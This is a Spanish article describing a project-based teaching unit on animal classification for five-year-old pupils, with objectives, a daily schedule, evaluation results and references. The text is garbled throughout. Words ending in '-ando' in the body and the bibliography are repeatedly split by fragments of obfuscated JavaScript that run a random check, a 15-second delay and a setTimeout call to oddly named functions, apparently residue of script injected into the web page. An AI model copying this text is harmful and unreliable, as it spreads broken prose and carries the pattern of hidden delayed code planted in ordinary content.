¿QUÉ ANIMALES CONOCEMOS?

Autora: María José Castilla Montesinos.


Los animales son seres vivos, al mismo tiempo próximos y lejanos a los escolares. Pueden tener contacto con ellos en su entorno, visitarlos en un zoo e incluso conocerlos mediante películas infantiles. De este modo pueden ser consciente de algunas de las características, pero hay diversos aspectos o contenidos que están fuera de su conocimiento y sin embargo despiertan la curiosidad de los alumnos/as por conocerlos ¿Por qué no aprovechar esa curiosidad?

 

Introducción.

La unidad didáctica que hemos desarrollado para un proyecto investigativo con los alumnos del tercer nivel de educación infantil (5 años) alude a los contenidos sobre los animales y su clasificación, trabajandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los contenidos desde un lenguaje científico adaptado al nivel madurativo de los alumnos y relacionándolo con su entorno, ya que a estas edades comienzan a surgir ideas alternativas muy arraigadas, como el utilizar una nomenclatura cotidiana para nombrar a todos los animales pequeños como “bichos” (Urones, 2008).  Se desarrolló bajo un planteamiento investigativo y teniendo en cuenta la evolución de las ideas de los alumnos.

Antecedentes del trabajo de los animales en Educación Infantil.

Antes de comenzar a programar las actividades que lleva reunida la propuesta didáctica debemos conocer las concepciones de los niños hacia las animales, que aspectos influyen en su aprendizaje, etc a través de los resultados de otras investigaciones que se han planteado el trabajar esta temática anteriormente.

En los escolares de Educación Infantil sucede que tienen concepciones  que están fuertemente influenciadas por el significado que en el ámbito cotidiano se atribuye a la palabra animal, asociado a los grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes mamíferos terrestres, como los que puede haber en una granja, en un zoo o en una casa

(Bell, 1981).

En el aprendizaje de los alumnos también está presente la influencia de películas, documentales, etc, es decir, transmitidas a través de los medios de comunicación. Por este motivo podría explicarse que los alumnos/as no tengan problemas para poner ejemplos de animales, los más citados fueron los mamíferos terrestres. En esta línea resulta curioso que al nombrar ejemplo de este tipo de animal, comiencen por los de la selva para seguir con otros más cercanos y familiares como son por ejemplo los animales domésticos (Peraíta, 1988).

Los escolares a edades tempranas no consideran que las personas sean animales. Las razones que dan para ser animal puede ser el número de patas, tamaño (tienen que ser grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes), hábitat, pelaje o piel externa y emisión de ruidos. Otras investigaciones en el ámbito de la educación infantil comprobaron que para los niños de estas edades, las características más importante del ser vivo, además del movimiento y la alimentación, eran las partes más visibles del cuerpo, el tamaño, el hábitat y tener padres (Garrido, 2007).

Una nueva perspectiva de trabajar los animales.

Al elaborar la unidad didáctica tuvimos en cuenta los objetivos y contenidos que se exponen para ese centro de interés en la legislación vigente y nos  basamos en el diseño de Cañal (2008), planteándonos unas series de preguntas que se fueron respondiendo según se trabajaba en el proyecto. La unidad didáctica se organiza alrededor de una pregunta de investigación  con unas subpreguntas adaptada al nivel de los escolares. Fueron planteadas por los docentes, ya que nuestros alumnos por su edad no tienen la capacidad de formular preguntas que se relacionen con un tema concreto sin desviarse a contenidos desvinculados. Se colocó un mural en clase con las preguntas que fuimos rellenandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando según trabajamos las características.

En definitiva de lo que se trata, como expone Merchán y García (1994, p.190) es de:

Partir de cuestiones o problemas que puedan ser asumidos como tales por el alumno, es decir, que puedan ser objeto de estudio que le interesen, estimulen su curiosidad, activen su motivación y desencadenen un proceso que desemboque en la construcción de nuevos conocimientos.

Destacar que al proponer el desarrollo de la misma tuvimos en cuenta aquellos conceptos que el profesor tiene que conocer y saber utilizar para llevar a cabo la unidad didáctica.

Antes de comenzar el desarrollo de la misma hemos tenido en cuenta el nivel académico y madurativo de los escolares, así como dar constancia a los padres de lo que íbamos a trabajar. Informándoles de que en algunas de las actividades íbamos a necesitar de su colaboración.

La unidad didáctica estaba planteada para desarrollar una metodología investigativa o trabajo por proyectos, es decir el tema parte de una realidad cercana y de interés para los escolares, formulandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un conjunto de preguntas que conllevan a un proceso de búsqueda e indagación que dirigen a los alumnos/as a la construcción de nuevos aprendizajes resolviendo los problemas planteados desarrollandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, a su vez, una actitud crítica. Así, compartimos con Pozuelos (2007, p.22) que:

Participación, interés, motivación e implicación intelectual son descriptores que se le suele asignar al alumnado que trabaja en el aula con proyectos. Se rompe con esa pasividad propia de los otros modelos del código disciplinar en los que el alumnado recorre distintas actividades y conocimientos deshilvanados unos de los otros, sin un hilo conductor y sin tener claro qué relación existe entre ellos y en qué medida les afecta para su vida y su formación como adultos y jóvenes que viven en una sociedad y realidad que precisan conocer, comprender y transformar.

La metodología en la que se basó la intervención en el aula partió de los principios metodológicos recogidos en el Decreto 4/2008, de 11 de enero, por el que se aprueba el Currículo de Educación Infantil para la Comunidad Autónoma de Extremadura.

Utilizamos la metodología constructivista, valorandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los conceptos, representaciones y conocimientos previos que el alumno ha adquirido de sus experiencias previas.

Actuamos como mediador, facilitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los instrumentos necesarios para que sea el estudiante quien construya su propio aprendizaje, en un proceso de reconstrucción y reconducción, según las exigencias que surjan en el aula (De las Heras y Jiménez-Pérez, 2011).

Para guiar está unidad didáctica a un fin concreto nos propusimos unos objetivos que pretendíamos conseguir  con el desarrollo de la misma.

CONCEPTUALES

PROCEDIMENTALES

ACTITUDINALES.

-       Relacionar los animales con el lugar donde viven.-       Distinguir que cubre el cuerpo de cada animal.

-       Diferenciar animales vertebrados e invertebrados.

-       Identificar los tipos de reproducción (vivíparos u ovíparos)

-       Clasificar los 5 tipos de animales vertebrados.

 

-       Observar e interpretar las imágenes que se presentan en las actividades.-       Relacionar las representaciones (imágenes, dibujos…) con las realidad.

-       Explicar sus ideas o información a sus compañeros.

-       Clasificar en columnas.

-       Respetar los animales y su entorno.-       Interesarse por las características de los animales.

-       Fomentar el trabajo en grupo.

-       Atender a las aportaciones de los compañeros.

 

Los contenidos descritos en el siguiente cuadro ésta íntimamente relacionados con los objetivos anteriores y en concordancia con el tema a trabajar y la secuencia de actividades.

CONCEPTOS

PROCEDIMIENTOS

ACTITUDES

HábitatTipos de pieles

Invertebrados/ vertebrados

Ovíparos/ vivíparos

Clasificación de los vertebrados.

Observación e interpretación de imágenes.Relación entre imagen y realidad.

Exposición oral de sus ideas

Clasificación en murales.

Respeto por los animales.Curiosidad por las características de los animales.

Trabajo en grupo.

Interés por lo que los compañeros dicen.

Comienza el desarrollo…

En cada actividad se llevó a cabo tres momentos diferentes a modo de tareas, estos son: indagación, aplicación y síntesis. Se desarrollarán de una manera práctica y no de forma instructiva (se imparten los contenidos y ya está) favoreciendo el espíritu crítico e investigativo que los guiará a la resolución de las actividades. La secuencia diseñada debe tener una lógica que evite el aprendizaje inconexo, además de cubrir los contenidos propuestos, aprovechandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando todas las ocasiones para que haya conexión con el mundo real, con la sociedad, introduciendo valores y otros aspectos transversales como, Educación ambiental y Educación moral y cívica.

Esta Unidad didáctica se realiza entre el jueves 29 de mayo hasta el lunes 9 de junio, con sesiones de 2 horas diarias. A continuación presentamos la temporalización de las actividades que llevamos a cabo:

Jueves 29 de mayo.

-       Actividad 1. Cuestionario inicial

-       Actividad 2. Actividad de iniciación.

Presentamos el problema general en una asamblea.

Lunes 2 de junio.

-       Actividad 3. ¿Dónde vive cada animal?

  • Tarea 1: Puesta en común de las ideas de lugares dónde viven los animales.
  • Tarea 2: Elaboración de una ficha de colocar cada animal en su lugar.
    • Tarea 3: Debate sobre la actividad anterior.

Martes 3 de junio.

-       Actividad 4: ¿Qué cubre el cuerpo de cada animal?

  • Tarea 1: Observación de los animales que traen los padres de casa.
  • Tarea 2: Distinguir los tipos de pieles.
  • Tarea 3: Realizar el ejercicio de ir pegandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a los animales con pelos lana, a los de escamas papel de aluminio y a los con pluma papel de pinocho.

Miércoles 4 de junio.

-       Actividad 5: ¿Qué tienen por dentro?

  • Tarea 1: Debate sobre qué pensamos que tienen por dentro los animales.

Tarea 2: Observación de una presentación Power Point con imágenes de animales y al lado su esqueleto, o por el contrario

Actividad 6: ¿Cómo nacen los animales?

  • Tarea 1: Llevaremos a cabo una asamblea en la cual los alumnos/as expondrán al grupo lo que han encontrado sobre cómo nace su animal favorito y explicará cual es el proceso si lo supieran. (Búsqueda de la información con ayuda de la familia).
  • Tarea 2: Veremos unos pequeños videos dónde de forma adecuada para su edad y comprensión, se ven imágenes de cómo nacen cinco animales diferentes con el propósito de que sean capaces de distinguir los dos tipos de nacimiento y relacionarlos con los demás animales.
  • Tarea 3: Se les entregará un folio con flechas haciendo un círculo y otro con imágenes. Tendrán que recortar y pegar en orden lo que sucede en cada animal propuesto con la intención de reflejar la información que ha captado después de ver los videos.
  • Tarea 4: Se repartirá la imagen de un animal diferente a cada niño y de forma individual deberá colocar en el mural en vivíparos u ovíparos.

Viernes 6 de junio.

-       Actividad 7: Actividad de síntesis.

  • Tarea 1: ver dos vídeos y lectura de un cuento “La rana que quería ser mamá”.
  • Tarea 2: Puesta en común de las características de los animales vertebrados.
  • Tarea 3: Completar las 5 columnas del mural.

Lunes 9 de junio.

-       Actividad 8: Actividad de evaluación.

  • Tarea: Elaboración de un cuaderno de recapitulación.

Al trabajar las situaciones de aprendizaje propuestas en esta unidad didáctica vamos a ir desarrollandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las competencias básicas que enunciamos a continuación, ya que todas se aplican en las actividades de forma conjunta. Son las siguientes:

-       Competencia en comunicación lingüística.

-       Competencia en el conocimiento y la interacción con el medio físico.

-       Tratamiento de la información y competencia digital.

-       Competencia para aprender a aprender.

-       Autonomía e iniciativa personal.

Como toda evaluación, en esta unidad será global, continua y formativa. La finalidad de la evaluación será comprobar el grado en que los alumnos/as consigan los aprendizajes previstos y ajustar el proceso de enseñanza- aprendizaje según los resultados que obtuvimos.

Además de la evaluación del alumnado se llevó a cabo la evaluación de la práctica docente, en relación con el logro de los objetivos educativos previstos.

Conclusión.

Realmente, la unidad didáctica ha mejorado algunos aspectos. En los conocimientos que se han producido una mejora o un aprendizaje han sido en diferenciar lo que cubre el cuerpo de cada animal, que el 67% de los alumnos han progresado, ya que el resto de los alumnos iniciaban la propuesta con un nivel bastante avanzado sobre este aspecto; y en el concepto de mamíferos que se produce una mejora del 67% de los alumnos evolucionandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sus ideas hasta el nivel referencial. En el contenido que se trataba la reproducción la propuesta didáctica ha modificado los conocimientos de un escaso porcentaje de alumnos (43%), debido a que el 90% de los alumnos al inicio de ella ya conocían este aspecto situándose en el nivel intermedio y referencial.  En los ítems que le pedimos que rodeen a los animales según las cinco clases de vertebrados, excepto en los mamíferos, hemos observado que la propuesta y las actividades que incluía no han mejorado de forma significativa los conocimientos previos de los alumnos, quizás debido a su alto nivel en ellos al inicio del estudio. En el concepto que más dificultad han tenido los alumnos es en el de los anfibios, ya que solo se ha producido aprendizaje en dos alumnos.

Para saber más…

BELL, B. F. (1981). When is an animal, not an animal? Journal of Biological

Education 15, 213-218

CAÑAL, P. (2008). Proyecto curricular investigandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando nuestro mundo (6-12).        Investigandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los seres vivos. Sevilla: Díada.

DE LAS HERAS y JIMÉNEZ-PEREZ, R.  (2011). La enseñanza del ser vivo  en           primaria  a  través  de  una  secuencia  de  estrategias  indagatorias.      Alambique. Didáctica de las Ciencias Experimentales, 67, 71-78.

DECRETO 4/2008, de 11 de enero, por el que se aprueba el Currículo de           Educación Infantil para la Comunidad Autónoma de Extremadura.

GARRIDO, M. (2007). La evolución de las ideas de los niños sobre los seres vivos. Tesis doctoral. A Coruña: Facultade de Ciencias da Educación

MERCHÁN, F.J. y GARCÍA PÉREZ, F.F. (1994). Una metodología basada en la idea de investigación para la enseñanza de la Historia. En AISENBERG, B. y ALDEROQUI, S. -compiladoras- Didáctica de las Ciencias Sociales. Aportes y Reflexiones. Argentina: Paidós.

PERAÍTA, H. (1988). La representación del mundo en el niño de EGB. Madrid: MEC

POZUELOS, F. J. (2007). Trabajo por proyectos en el aula: descripción, investigación y práctica. Morón (Sevilla): Cooperación Educativa. Ediciones MCEP.

URONES, C. (2008). Conocimientos de los estudiantes de Magisterio sobre la              diversidad animal y arañas. Boletín Sociedad Entomológica Aragonesa,           42, 507-515.

 

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